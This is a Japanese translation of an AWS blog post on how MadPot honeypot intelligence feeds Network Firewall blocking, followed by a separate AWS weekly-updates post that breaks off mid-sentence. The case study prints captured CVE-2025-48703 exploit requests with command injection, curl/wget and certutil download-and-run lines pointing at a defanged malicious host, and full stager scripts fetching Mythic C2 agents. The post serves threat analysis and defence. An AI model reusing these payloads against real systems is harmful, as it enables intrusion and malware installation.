本ブログは 2026 年 1 月 8 日に公開された AWS Blog “ Real-time malware defense: Leveraging AWS Network Firewall active threat defense ” を翻訳したものです。 サイバー脅威は、従来のセキュリティ防御では対応しきれない速さで進化しています。潜在的なセキュリティ上の問題を抱えるワークロードは、 90 秒以内 に脅威アクターに発見され、3 分以内には悪用の試みが始まります。脅威アクターは攻撃手法を急速に進化させており、新たなマルウェアの亜種、エクスプロイト手法、回避戦術が次々と生まれています。また、インフラストラクチャ (IP アドレス、ドメイン、URL) もローテーションします。ワークロードを効果的に防御するには、脅威データを迅速に保護対策へと落とし込む必要がありますが、インターネット規模で運用する場合、これは容易ではありません。この記事では、 AWS Network Firewall 向けの AWS アクティブ脅威防御 (active threat defense) を使用して、これらの潜在的な脅威を検出・ブロックし、クラウドワークロードを保護する方法を説明します。 アクティブ脅威防御は、 MadPot を通じて収集されたリアルタイムのインテリジェンスを活用して、ネットワーク脅威を検出し、ブロックします。MadPot は、攻撃パターンを能動的に監視するために Amazon が使用しているハニーポットセンサーのネットワークです。アクティブ脅威防御のルールにおいて、スピードは目指すべき目標ではなく、前提となる基本原則です。脅威アクターがマルウェアをホストするための新しいドメインを作成したり、新しいコマンドアンドコントロール (C2) サーバーをセットアップしたりすると、MadPot はその動きをとらえます。MadPot から新しいインテリジェンスを受け取ると、アクティブ脅威防御は 30 分以内にそのインテリジェンスを自動的に変換し、 Amazon GuardDuty による脅威検出と、 AWS Network Firewall による能動的な保護を実現します。 ただし、スピードだけでは十分ではありません。適切な脅威指標を、対応する緩和策に適用する必要もあります。アクティブ脅威防御は、攻撃をあらゆる段階で阻止します。偵察スキャンをブロックし、マルウェアのダウンロードを防ぎ、侵害されたシステムと、それを操る脅威アクターとの間の C2 通信を遮断します。これにより、一部のレイヤーをすり抜ける攻撃でも阻止できる、多層的な防御アプローチが実現します。 アクティブ脅威防御の仕組み MadPot のハニーポットは、クラウドサーバー、データベース、ウェブアプリケーションを模倣しており、脅威アクターが積極的に探す設定ミスやセキュリティ上の欠陥まで再現しています。脅威アクターがおとりに対して攻撃を開始すると、MadPot はハニーポットに対する攻撃ライフサイクル全体を捕捉します。そして、脅威アクターのインフラストラクチャをマッピングし、新たな攻撃手法をとらえ、これまでにない脅威パターンを特定します。さらに AWS は、MadPot での観測結果に基づいてインターネットをより広範囲にスキャンし、類似したフィンガープリントを持つインフラストラクチャも特定しています。 図 1: アクティブ脅威防御の統合の概要 図 1 は、この仕組みを示しています。脅威アクターが MadPot のハニーポットにマルウェアのペイロードを配信すると、AWS は隔離された環境で悪意のあるコードを実行し、マルウェアの動作 (接続先のドメイン、ドロップするファイル、悪用するプロトコル) から侵害の痕跡 (indicators of compromise) を抽出します。この脅威インテリジェンスは、アクティブ脅威防御の自動保護に活用されます。アクティブ脅威防御は、指標を検証してファイアウォールルールに変換し、パフォーマンスへの影響をテストしたうえで、Network Firewall にグローバルにデプロイします。これらすべてを 30 分以内に完了します。また、脅威は常に進化するため、アクティブ脅威防御は脅威アクターのインフラストラクチャの変化を監視し、脅威アクターがドメインをローテーションしたり、IP アドレスを変更したり、戦術を変えたりするたびに、保護ルールを自動的に更新します。このように、アクティブ脅威防御は脅威の進化に合わせて自動的に適応します。 図 2: スイスチーズモデル アクティブ脅威防御は、防御における スイスチーズモデル (図 2 を参照) を採用しています。これは、単独で完璧なセキュリティコントロールは存在しないものの、不完全なレイヤーを複数重ねることで堅牢な保護を実現できるという考え方です。どの防御レイヤーにも穴があります。脅威アクターは IP への直接接続によって DNS フィルタリングを回避でき、暗号化されたトラフィックは HTTP インスペクションをすり抜け、ドメインフロンティングや IP のみの接続は TLS の SNI (Server Name Indication) 分析を回避します。そこでアクティブ脅威防御は、複数のインスペクションポイントにわたって脅威指標を適用します。脅威アクターが 1 つのレイヤーを回避しても、他のレイヤーで検出してブロックできます。MadPot が悪意のあるドメインを特定すると、Network Firewall はそのドメインをブロックするだけでなく、DNS クエリの拒否、HTTP Host ヘッダーのブロック、SNI を使用した TLS 接続の防止、解決された IP アドレスへの直接接続のドロップを行うルールも作成します。スイスチーズのスライスを重ねると穴が一直線に並ぶことはほとんどないのと同様に、アクティブ脅威防御は、脅威アクターが標的に至る完全な経路を見つける可能性を低減します。 アクティブ脅威防御による攻撃キルチェーンの阻止 ここでは、アクティブ脅威防御がこのスイスチーズアプローチによって、攻撃ライフサイクル全体にわたり脅威アクターをどのように阻止するかを見ていきましょう。図 3 は、脅威アクターが標的を侵害し、悪意のあるアクティビティのために永続的な制御を確立する際の攻撃手法の例を示しています (詳細は以降のセクションで説明します)。現代の攻撃では、あらゆる段階でネットワーク通信が必要になります。アクティブ脅威防御は、まさにその通信に対して多層的な防御を構築します。この攻撃フローは、各段階で悪意のある通信を傍受してブロックできる、ネットワークレイヤーのセキュリティコントロールの重要性を示しています。こうしたコントロールがあれば、初期の脆弱性が存在する場合でも、侵害の成立を防ぐことができます。 図 3: OAST 手法を使用した攻撃シナリオのフローの例 ステップ 0: インフラストラクチャの準備 攻撃を開始する前に、脅威アクターは運用インフラストラクチャをプロビジョニングします。例えば、 OAST (out-of-band application security testing) のコールバックエンドポイントのセットアップがこれに当たります。OAST は、脅威アクターが別の通信チャネルを通じてエクスプロイトの成功を確認するために使用する偵察手法です。また、被害者に感染させるペイロードをホストするマルウェア配信サーバーや、侵害したシステムを管理するための C2 サーバーもプロビジョニングします。脅威アクターがおとりシステムに対してこのインフラストラクチャを使用すると、MadPot のハニーポットがそれを検出し、その指標をアクティブ脅威防御の保護ルールに取り込みます。 ステップ 1: 標的の特定 脅威アクターは、自動化されたインターネットスキャンや、アンダーグラウンドマーケットでの標的リストの購入によって、潜在的な被害者のリストを作成します。探しているのは、脆弱なソフトウェアを実行しているワークロード、公開されたサービス、よくある設定ミスなどです。MadPot のハニーポットシステムでは、潜在的な脅威アクターとのこうしたやり取りが毎日 7 億 5,000 万件以上発生しています。新しい MadPot センサーは 90 秒以内に発見されます。こうした可視性により、通常であれば見過ごされてしまうパターンが明らかになります。アクティブ脅威防御は偵察そのものを阻止するわけではありませんが、MadPot の可視性を活用して後続の段階を阻止します。 ステップ 2: 脆弱性の確認 脅威アクターは、エクスプロイトのペイロード内に OAST コールバックの仕組みを埋め込み、標的ワークロードの脆弱性を確認しようとします。例えば、 http://malicious-callback[.]com/verify?target=victim のような悪意のある URL を、ウェブフォーム、HTTP ヘッダー、API パラメータ、その他の入力フィールドに挿入します。正規のセキュリティスキャナーでも使われている OAST ドメイン名を使用する脅威アクターもいれば、検出を回避するために独自に用意したドメインを使用する脅威アクターもいます。次の表は、過去 90 日間に脅威アクターが OAST リンクを使用して MadPot に対して悪用を試みた脆弱性の例 18 件を示しています。 CVE ID 脆弱性名 CVE-2017-10271 Oracle WebLogic Server のデシリアライゼーションによるリモートコード実行 (RCE) CVE-2017-11610 Supervisor XML-RPC の認証バイパス CVE-2020-14882 Oracle WebLogic Server コンソールの RCE CVE-2021-33690 SAP NetWeaver のサーバーサイドリクエストフォージェリ (SSRF) CVE-2021-44228 Apache Log4j2 の RCE CVE-2022-22947 VMware Spring Cloud gateway の RCE CVE-2022-22963 VMware Tanzu Spring Cloud function の RCE CVE-2022-26134 Atlassian Confluence Server および Data Center の RCE CVE-2023-22527 Atlassian Confluence Data Center および Server のテンプレートインジェクションの脆弱性 CVE-2023-43208 NextGen Healthcare Mirth connect の RCE CVE-2023-46805 Ivanti Connect Secure および Policy Secure の認証バイパスの脆弱性 CVE-2024-13160 Ivanti Endpoint Manager (EPM) の絶対パストラバーサルの脆弱性 CVE-2024-21893 Ivanti Connect Secure、Policy Secure、Neurons の SSRF の脆弱性 CVE-2024-36401 OSGeo GeoServer GeoTools の eval インジェクションの脆弱性 CVE-2024-37032 Ollama API サーバーのパストラバーサル CVE-2024-51568 CyberPanel の RCE CVE-2024-8883 Keycloak のリダイレクト URI 検証の脆弱性 CVE-2025-34028 Commvault Command Center のパストラバーサルの脆弱性 ステップ 3: OAST コールバック 脆弱なワークロードがこれらの悪意のあるペイロードを処理すると、脅威アクターの OAST 監視サーバーに対してコールバック接続を開始しようとします。通常であれば、脅威アクターはこのコールバックシグナルによってエクスプロイトの成功を確認でき、さらに侵害されたワークロード、脆弱性の種類、攻撃を進める経路に関するインテリジェンスも得られます。アクティブ脅威防御は、この時点で攻撃チェーンを断ち切ります。MadPot は悪意のあるドメインまたは IP アドレスを特定し、アクティブ脅威防御の拒否リストに追加します。脆弱な標的が脅威アクターの OAST エンドポイントへのネットワーク呼び出しを実行しようとすると、アクティブ脅威防御を有効にした Network Firewall がアウトバウンド接続をブロックします。エクスプロイト自体は成功するかもしれませんが、成功の確認が得られなければ、脅威アクターはどの標的に攻撃を進めるべきか判断できず、攻撃は停滞します。 ステップ 4: マルウェア配信の準備 脆弱な標的を特定した脅威アクターは、その脆弱性を悪用して、永続的なアクセスを確立するためのマルウェアを配信します。次の表は、過去 90 日間に脅威アクターがマルウェアを配信するために MadPot に対して悪用を試みた 20 件の脆弱性を示しています。 CVE ID 脆弱性名 CVE-2017-12149 Jboss Application Server の RCE CVE-2020-7961 Liferay Portal の RCE CVE-2021-26084 Confluence Server および Data Center の RCE CVE-2021-41773 Apache HTTP サーバーのパストラバーサルおよび RCE CVE-2021-44228 Apache Log4j2 の RCE CVE-2022-22954 VMware Workspace ONE access および identity manager の RCE CVE-2022-26134 Atlassian Confluence Server および Data Center の RCE CVE-2022-44877 Control Web Panel または CentOS Web Panel の RCE CVE-2023-22527 Confluence Data Center および Server の RCE CVE-2023-43208 NextGen Healthcare Mirth Connect の RCE CVE-2023-46604 Java OpenWire プロトコルマーシャラーの RCE CVE-2024-23692 Rejetto HTTP ファイルサーバーの RCE CVE-2024-24919 Check Point セキュリティゲートウェイの RCE CVE-2024-36401 GeoServer の RCE CVE-2024-51567 CyberPanel の RCE CVE-2025-20281 Cisco ISE および Cisco ISE-PIC の RCE CVE-2025-20337 Cisco ISE および Cisco ISE-PIC の RCE CVE-2025-24016 Wazuh の RCE CVE-2025-47812 Wing FTP の RCE CVE-2025-48703 CWP の RCE ステップ 5: マルウェアのダウンロード 侵害された標的は、脅威アクターの配信サーバーからマルウェアのペイロードをダウンロードしようとしますが、ここでもアクティブ脅威防御が介入します。マルウェアをホストするインフラストラクチャは、ドメイン、URL、IP アドレスのいずれであっても、既に MadPot によって特定され、Network Firewall によってブロックされています。マルウェアが TLS エンドポイント経由で配信される場合、アクティブ脅威防御は、TLS ハンドシェイク中に SNI を検査するルールによって、トラフィックを復号することなく悪意のあるドメインを特定してブロックします。マルウェアが TLS エンドポイント以外から配信される場合や、お客様が Network Firewall の TLS インスペクション機能 を有効にしている場合は、アクティブ脅威防御のルールが URL 全体と HTTP ヘッダーを検査し、コンテンツベースのルールを適用したうえで、正当なトラフィックを再暗号化して転送します。マルウェアの配信と実行が成功しなければ、脅威アクターは制御を確立できません。 ステップ 6: C2 接続 仮に何らかの方法でマルウェアが配信された場合、マルウェアは脅威アクターの C2 サーバーに接続して指示を受け取ろうとします。この時点で、アクティブ脅威防御の別のレイヤーが作動します。アクティブ脅威防御は、Network Firewall において複数のプロトコルレイヤーにまたがる仕組みを実装しており、C2 通信が継続的な悪意のある活動につながる前に特定してブロックします。DNS レイヤーでは、Network Firewall は既知の悪意のある C2 ドメインに対する名前解決リクエストをブロックし、マルウェアが接続先を見つけられないようにします。TCP レイヤーでは、C2 の IP アドレスとポートへの直接接続をブロックします。TLS レイヤーでは、ステップ 5 で説明したように、SNI インスペクションとフィンガープリント手法 (有効にしている場合は完全な復号) を使用して、暗号化された C2 トラフィックを特定します。Network Firewall は既知の悪意のある C2 インフラストラクチャへのアウトバウンド接続をブロックし、脅威アクターが感染したワークロードを制御できないようにします。侵害されたワークロード上にマルウェアが存在していても、隔離されて脅威アクターと通信できないため、実質的に無力化されます。また、C2 への接続の試みに対しては Amazon GuardDuty で脅威の検出結果が作成されるため、インシデント対応のワークフローを開始できます。次の表は、過去 90 日間に MadPot と AWS によるインターネット全体のスキャンで観測された C2 フレームワークの例です。 C2 フレームワーク Adaptix Metasploit AsyncRAT Mirai Brute Ratel Mythic Cobalt Strike Platypus Covenant Quasar Deimos Sliver Empire SparkRAT Havoc XorDDoS ステップ 7: 攻撃目的の阻止 C2 への接続ができなければ、脅威アクターはデータを盗むことも、認証情報を外部に持ち出すこともできません。アクティブ脅威防御の多層的なアプローチでは、脅威アクターはすべてのステップで成功しなければならない一方、お客様はいずれか 1 つの段階をブロックするだけでアクティビティを阻止できます。この多層防御 (defense-in-depth) のアプローチにより、一部の防御レイヤーに脆弱性がある場合でもリスクを低減できます。アクティブ脅威防御のアクションは、 Network Firewall のアラートログ で追跡できます。 実際の攻撃シナリオ – CVE-2025-48703 を悪用する攻撃キャンペーンの阻止 2025 年 10 月、AWS の MadPot ハニーポットは、Control Web Panel (CWP) を標的とした攻撃キャンペーンを検出し始めました。CWP は、ホスティングプロバイダーやシステム管理者が使用するサーバー管理プラットフォームです。脅威アクターは、CWP のリモートコード実行の脆弱性である CVE-2025-48703 を悪用して、 Mythic C2 フレームワーク をデプロイしようとしていました。Mythic は、本来は正当なレッドチーム活動のために設計されたオープンソースの C2 プラットフォームですが、脅威アクターが悪意のあるキャンペーンに利用することもあります。エクスプロイトの試みは IP アドレス 61.244.94[.]126 から発信されており、この IP アドレスには VPN 出口ノードと一致する特徴が見られました。 脅威アクターは、脆弱な標的を確認するために、CWP のファイルマネージャーの脆弱性を悪用してオペレーティングシステムのコマンドを実行しようとしました。MadPot のハニーポットは、次のような whoami コマンドを使用したエクスプロイトの試みを受信しました。 POST /nginx/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:49153 content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb content-length: 455 ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="fileName" .bashrc ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="currentPath" /home/nginx ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="recursive" ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="t_total" whoami /priv ------WebKitFormBoundaryrTrcHpS9ovyhBLtb-- このキャンペーンでは脆弱性の確認に OAST コールバックは使われていませんでしたが、MadPot では、次の例のように OAST コールバックを使用した同様の CVE-2025-48703 のエクスプロイトの試みも観測されています。 POST /debian/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:8085 user-agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 content-length: 503 content-type: multipart/form-data; boundary=z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 accept-encoding: gzip connection: close --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="fileName" .bashrc --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="currentPath" /home/debian --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="recursive" --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="t_total" ping d4c81ab7l0phir01tus0888p1xozqw1bs.oast[.]fun --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5-- 脆弱なシステムを特定すると、攻撃は直ちにペイロードの配信へと移りました。MadPot は、Linux と Windows の両方のワークロードを標的とした感染の試みを捕捉しました。Linux の標的に対しては、脅威アクターは curl と wget を使用してマルウェアをダウンロードしようとしました。 POST /cwp/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:5704 content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb content-length: 539 ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="fileName" .bashrc ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="currentPath" /home/cwp ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="recursive" ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="t_total" (curl -fsSL -m180 hxxp://vc2.b1ack[.]cat:28571/slt||wget -T180 -q hxxp://vc2.b1ack[.]cat:28571/slt)|sh ------WebKitFormBoundaryrTrcHpS9ovyhBLtb-- Windows システムに対しては、Microsoft の certutil.exe ユーティリティを使用してマルウェアをダウンロードしようとしました。 POST /panel/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:49153 content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb content-length: 557 ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="fileName" .bashrc ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="currentPath" /home/panel ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="recursive" ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="t_total" certutil.exe -urlcache -split -f hxxp://vc2.b1ack[.]cat:28571/swt C:\Users\Public\run.bat && C:\Users\Public\run.bat ------WebKitFormBoundaryrTrcHpS9ovyhBLtb-- MadPot のハニーポットは、こうしたエクスプロイトの試みを観測すると、脆弱なサーバーと同じように悪意のあるペイロードをダウンロードします。MadPot はその観測結果を基に、複数の分析レイヤーで脅威指標を抽出します。 レイヤー 1 – MadPot は、マルウェアをホストしているステージング URL と、その背後にある IP アドレスを特定しました。 hxxp://vc2.b1ack[.]cat:28571/slt (Linux スクリプト, SHA256: bdf17b3047a9c9de24483cce55279e62a268c01c2aba6ddadee42518a9ccddfc) hxxp://196.251.116[.]232:28571/slt hxxp://vc2.b1ack[.]cat:28571/swt (Windows スクリプト, SHA256: 6ec153a14ec3a2f38edd0ac411bd035d00668a860ee0140e087bb4083610f7cf) hxxp://196.251.116[.]232:28571/swt レイヤー 2 – MadPot がマルウェアを分析した結果、Windows バッチファイル ( SHA256: 6ec153a1... ) には、システムアーキテクチャを判別して適切な Mythic エージェントをダウンロードするロジックが含まれていることが判明しました。 @echo off setlocal enabledelayedexpansion set u64="hxxp://196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=w64&stage=true" set u32="hxxp://196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=w32&stage=true" set v="C:\Users\Public\350b0949tcp.exe" del %v% for /f "tokens=*" %%A in ('wmic os get osarchitecture ^| findstr 64') do ( set "ARCH=64" ) if "%ARCH%"=="64" ( certutil.exe -urlcache -split -f %u64% %v% ) else ( certutil.exe -urlcache -split -f %u32% %v% ) start "" %v% exit /b 0 Linux スクリプト ( SHA256: bdf17b30... ) は、x86_64、i386、i686、aarch64、armv7l の各アーキテクチャに対応していました。 export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin l64="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=l64&stage=true" l32="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=l32&stage=true" a64="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=a64&stage=true" a32="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=a32&stage=true" v="43b6f642tcp" rm -rf $v ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') # [additional architecture checks] fi chmod +x $v (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) レイヤー 3 – MadPot は、これらのステージングスクリプトと、そこで参照されているインフラストラクチャを分析することで、Mythic C2 フレームワークのエンドポイントを示す追加の脅威指標を特定しました。 ヘルスチェックエンドポイント 196.251.116[.]232:7443 および vc2.b1ack[.]cat:7443 HTTP リスナー 196.251.116[.]232:80 および vc2.b1ack[.]cat:80 MadPot の分析から 30 分以内に、この攻撃インフラストラクチャのすべてのレイヤーを対象とした保護ルールが、世界中の Network Firewall のインスタンスにデプロイされました。その結果、脆弱な CWP 環境もこのキャンペーンから保護された状態が保たれました。エクスプロイトが curl -fsSL -m180 hxxp://vc2.b1ack[.]cat:28571/slt または certutil.exe -urlcache -split -f hxxp://vc2.b1ack[.]cat:28571/swt を実行しようとしても、インフラストラクチャが稼働している間は、Network Firewall が vc2.b1ack[.]cat ドメインの名前解決と 196.251.116[.]232:28571 への接続の両方をブロックしていたためです。脆弱なアプリケーションがエクスプロイトのペイロードを実行した可能性はありますが、Network Firewall はネットワークレイヤーでマルウェアのダウンロードをブロックしました。 仮にステージングスクリプトが別の手段で標的に到達したとしても、アーキテクチャ固有の URL がブロックされているため、Mythic エージェントのバイナリをダウンロードしようとした時点で失敗していたはずです。さらに、まったく別の感染経路で Mythic エージェントのバイナリが配信され、実行されたとしても、C2 を確立することはできなかったはずです。マルウェアがポート 7443 の Mythic フレームワークのヘルスエンドポイントや、ポート 80 の HTTP リスナーに接続しようとしても、Network Firewall がネットワーク境界でそれらの接続を遮断していたはずだからです。 このシナリオは、アクティブ脅威防御のインテリジェンスパイプラインが、脅威アクティビティのさまざまな段階をどのように阻止するかを示しています。これこそがスイスチーズモデルの実践です。ある防御レイヤー (例えば OAST のブロック) が適用できない場合でも、後続のレイヤー (ホストされたマルウェアのダウンロード、マルウェアのネットワーク動作、ボットネットインフラストラクチャの特定) が重層的に保護します。MadPot による攻撃の分析では、各レイヤーで追加の脅威指標が明らかになり、それらが攻撃チェーンのさまざまな段階でお客様を保護します。 つまり、パッチ未適用の CWP 環境を使用している GuardDuty のお客様は、アクティブ脅威防御で追跡している脅威指標に該当する通信先との通信が試みられていれば、脅威の検出結果を受け取っていたはずです。また、アクティブ脅威防御を使用している Network Firewall のお客様の場合、パッチ未適用の CWP ワークロードは、この CVE が 11 月 4 日に CISA の Known Exploited Vulnerabilities カタログ に追加されるよりも前から、このキャンペーンに対して自動的に保護されていたはずです。 まとめ Network Firewall 向けの AWS アクティブ脅威防御は、MadPot のインテリジェンスと多層的な保護を活用して攻撃者のキルチェーンを阻止し、セキュリティチームの運用負担を軽減します。ルールが自動でデプロイされるため、アクティブ脅威防御は MadPot が新たな脅威を検出してから 30 分以内に多層的な防御を構築します。Amazon GuardDuty のお客様は、アクティブ脅威防御が特定した悪意のあるインフラストラクチャとワークロードが通信しようとすると、脅威の検出結果を自動的に受け取ります。また、AWS Network Firewall のお客様は、アクティブ脅威防御マネージドルールグループを使用して、これらの脅威を能動的にブロックできます。使用を開始するには、 AWS Network Firewall での Amazon 脅威インテリジェンスを活用したセキュリティポスチャの強化 を参照してください。   この記事に関するご質問は、 AWS サポートにお問い合わせ ください。   Rahi Patel Rahi は、ネットワーキングを専門とする AWS の Startups Technical Account Manager です。グローバルな AWS デプロイ全体でパフォーマンスを最適化するクラウドネットワーキングソリューションを設計しています。以前は Cisco Meraki でネットワークエンジニアを務めていました。サンノゼ州立大学で工学の修士号を取得しています。仕事以外では、テニスとピックルボールを楽しんでいます。 Paul Bodmer Paul は AWS の Security Engineering Manager で、Perimeter Protection Threat Research Team を率いています。AWS がディセプション技術を活用し、AWS の社内外のセキュリティサービス向けに実用的な脅威インテリジェンスを生み出すための戦略的な方針の策定を担当しています。 Nima Sharifi Mehr Nima は AWS の Principal Security Engineer で、Perimeter Protection Threat Research Team の技術的な方向性を統括しています。また、MadPot の開発者でもあります。MadPot は現在、Amazon のサイバーセキュリティ戦略の柱として社内のさまざまなチームで活用されており、お客様とパートナーを保護するとともに、世界のサイバーセキュリティ水準の向上に貢献しています。 Maxim Raya Maxim は AWS の Security Specialist Solutions Architect です。お客様が AWS 環境のセキュリティとコンプライアンスに確信を持てるよう支援し、クラウドトランスフォーメーションの加速をサポートしています。 Santosh Shanbhag Santosh は、セキュリティ、データ保護、コンプライアンスを専門とする経験豊富なプロダクトリーダーです。AWS では、AWS Network Firewall やアクティブ脅威防御をはじめとするネットワークおよびアプリケーションセキュリティサービスを通じて、ワークロードの保護に注力しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

みなさん、こんにちは。ソリューションアーキテクトの大久保です。今週から週刊AWS を皆様にお届けする新たなメンバーとして活動させていただきます。どうぞよろしくお願いします！ では今週も 週刊AWS をお届けします。 11 月 5 日 (木) に、オンラインのワークショップ「 開発ライフサイクルで学ぶ Amazon ECS コンテナセキュリティ実践ワークショップ 」を開催します。コンテナのビルドからデプロイ、ランタイムまで、各段階でセキュリティをどう担保するかを座学で整理したうえで、AWS Fargate 上の Amazon ECS を題材に、Amazon Inspector による脆弱性の検知や Amazon GuardDuty Runtime Monitoring による不審な通信の検知をハンズオンで体験できます。今回ご紹介するアップデートにも GuardDuty や AWS Security Hub のものがありますので、コンテナのセキュリティ対策を見直したい方はぜひご参加ください。 それでは、先週の主なアップデートについて振り返っていきましょう。 2026年10月5日週の主要なアップデート 10/5(月) 音声エージェント向けに推論能力を改善した Amazon Nova 2.5 Sonic を発表 AWS は、リアルタイム音声エージェント向け speech-to-speech モデルの最新版である Amazon Nova 2.5 Sonic の一般提供を発表しました。Nova 2 Sonic と比較して推論、指示追従、ツール呼び出し精度が改善され、レイテンシも低減しています。音声エージェントが会話の文脈を保持したまま、注文照会や返品処理といった複数ステップのタスクをツール連携で完了できます。同時に GA となった Strands Bidi Agents と組み合わせることで、少ないコード量で本番向け音声エージェントを構築できます。バージニア北部、オレゴン、ストックホルム、東京の 4 リージョンで利用でき、料金は Nova 2 Sonic と同額です。 AWS Client VPN がデバイスポスチャ評価をサポート AWS Client VPN が、接続元デバイスのセキュリティ状態を検証するデバイスポスチャ評価に対応しました。CrowdStrike、Jamf、JumpCloud をデバイストラストプロバイダーとして設定し、コンプライアンススコア、ディスク暗号化状態、リスクレベルなどのシグナルを Cedar ポリシーで評価して、要件を満たすデバイスだけに接続を許可できます。評価は接続時だけでなくセッション中も 5 分ごとに行われ、非準拠になったデバイスは自動的に切断されます。接続を切断せずログのみ記録するシャドウモード (モニタリングモード) も用意されており、Client VPN が利用できるすべてのリージョンで追加料金なしで利用できます。 Amazon EC2、Amazon Machine Image の共有タグを導入 Amazon EC2 は AMI のタグを共有先アカウントから参照できるようにする AMI タグ共有機能を提供開始しました。タグキーに ec2:SharedTag/ プレフィックスを付けるだけで、個別アカウント共有、AWS Organizations の組織・OU 共有、パブリック共有のいずれでも、共有先の全アカウントがそのタグを参照できます。従来必要だった SNS + Lambda などによるタグ複製ワークフローが不要になります。共有タグは共有先では読み取り専用で、オーナー側の 1 リソースあたり 50 タグのクォータのみを消費します。全リージョンで追加費用なしで利用できます。 AWS Continuum for Penetration Testing が CI/CD パイプラインに統合された継続的ペネトレーションテストに対応 AWS Continuum for Penetration Testing (旧 AWS Security Agent) が、CI/CD パイプラインへの直接統合をパブリックプレビューとして提供開始しました。GitHub Actions、GitLab CI/CD、Bitbucket Pipelines、Azure DevOps Pipelines の 4 つのプラットフォームに対応し、デプロイ後のゲートとしてペネトレーションテストを実行できます。テストは前回クリアしたコミットからの差分に自動的にスコープされ、攻撃対象領域に影響しない変更は遅延なくパイプラインを通過します。設定済みの重大度しきい値 (デフォルトは HIGH) 以上の検出事項があると本番への昇格をブロックし、修正後のプッシュで自動的に再テストが実行されます。 AWS IAM Identity Center が Identity Store のネットワークアクセス制御をサポート AWS IAM Identity Center のユーザー・グループを格納する Identity Store に対して、リクエスト元ネットワークに基づくアクセス制御を設定できるようになりました。Identity Store API には VPC エンドポイント経由の強制、送信元 VPC の限定、許可 IP レンジの指定ができ、SCIM API には許可 IP レンジの指定ができます。設定は UpdateIdentityStore API を AWS CLI または SDK から呼び出して行い、デフォルトでは無効です。IAM Identity Center が提供される全リージョンでご利用可能です。SCIM トークン漏洩時の被害範囲限定や、組織のデータ境界 (data perimeter) 戦略の強化に使えます。 Amazon Redshift が Apache Iceberg マテリアライズドビューの作成とリフレッシュに対応 Amazon Redshift が、結果を Apache Iceberg テーブルとして Amazon S3 または S3 Tables に保存するマテリアライズドビュー (MV) に対応しました。CREATE MATERIALIZED VIEW … USING ICEBERG という SQL で作成でき、結果は AWS Glue Data Catalog に登録されます。Amazon Athena、Apache Spark (Amazon EMR / AWS Glue)、Trino、Snowflake など Iceberg 互換エンジンから追加設定なしで読み取れます。リフレッシュは手動実行で、COUNT / SUM 集計と内部結合については変更分のみを再計算するインクリメンタルリフレッシュが動作します。Redshift Serverless と RG (Graviton) プロビジョンドインスタンスで利用でき、RA3 / DC2 では利用できません。 10/6(火) AWS Batch が Amazon CloudWatch へのジョブメトリクス発行に対応 AWS Batch がジョブのライフサイクルに関するメトリクスを Amazon CloudWatch の AWS/Batch 名前空間へ自動発行するようになりました。追加料金なしで、ジョブキューごとの状態遷移数 (送信、実行中、成功、失敗など) と、状態間の所要時間 (送信から実行可能まで、実行時間など) を確認できます。これまで EventBridge と Lambda を組み合わせて自前で構築する必要があったジョブ監視を、CloudWatch のダッシュボードとアラームだけで構成できます。AWS Batch が利用可能なすべてのリージョンで提供されます。 10/7(水) Claude Haiku 5.5 が AWS で利用可能に Claude 5.5 ファミリーで最速・最も効率的なモデルである Claude Haiku 5.5 の提供を開始しました。Anthropic によると、ほとんどのタスクで Claude Haiku 4.5 より約 75% 低コストで、トークン単価は入力 $0.10 / 100 